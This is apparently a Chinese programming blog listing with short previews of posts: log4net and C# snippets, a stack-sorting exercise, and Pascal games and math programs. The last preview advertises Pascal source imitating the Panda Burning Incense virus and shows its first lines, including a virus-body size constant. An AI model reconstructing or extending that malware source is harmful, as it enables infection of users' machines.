最近想学习下log4net,写了个很简短的使用例子。用少的代码,可以保证程序运行起来。配置文件: 代码: public class Program {...
分类:
Web程序 时间:
2014-07-16 21:37:07
阅读次数:
183
Write a program to sort a stack in ascending order (with biggest items on top). You may use at most one additional stack to hold items, but you may no...
分类:
其他好文 时间:
2014-07-16 20:35:03
阅读次数:
288
using System;using System.Collections.Generic;using System.Text;namespace myTest{ class Program { static void Main(string[] args) ...
分类:
其他好文 时间:
2014-07-16 20:04:01
阅读次数:
164
1 public class Program 2 { 3 public event EventHandler ehdl=null; 4 public Program() 5 { 6 ehdl += Program_e...
分类:
其他好文 时间:
2014-07-16 19:50:25
阅读次数:
109
用于打印杨辉三角的程序,有多种算法仅提供一种PRogram yh (input,ouput);var m,n,c:integer;BeginFor m:=0 TO 10 Do Begin c:=1; write(c:40-3*m); For n:=1 To m Do begin c:=c+(m-n+...
分类:
其他好文 时间:
2014-07-16 19:38:04
阅读次数:
148
不要消灭星星 Pascal小游戏 Chaobs改编自pascal吧控制台小游戏嘛,就当是练习一下结构化的写法。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:integer; ml:char;zb: ...
分类:
其他好文 时间:
2014-07-16 19:37:07
阅读次数:
294
一个很经典的井字棋游戏 Pascal源码Chaobs奉上注意:1.有的FP版本不支持汉语,将会出现乱码。2.别想赢电脑了,平手不错了。井字过三关:program TicTacToe;uses crt;vara:Array [1..3] of Array [1..3] of char;b:Array ...
分类:
其他好文 时间:
2014-07-16 19:34:37
阅读次数:
353
俄罗斯方块已经成为了和“Hello World”一样的程序了吧?不要直接复制,可能需要事先 Format.program cube;uses crt,graph,dos;var gd,gm:smallint;fillin:fillpatterntype;board:array[0..26,0..26...
分类:
其他好文 时间:
2014-07-16 19:33:58
阅读次数:
221
一个双人的游戏 Pascal源码附上只要俩人不脑残,一下午玩不完。。。又是控制台游戏中的一朵奇葩。Free Pascal 射击游戏Program shooting_game;uses crt;const cz:array[1..4,1..2] of -1..1=((0,1),(1,0),(0,-1)...
分类:
其他好文 时间:
2014-07-14 10:19:56
阅读次数:
322
Pascal仿熊猫烧香病毒,慎用program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; /...
分类:
其他好文 时间:
2014-07-14 10:15:24
阅读次数:
244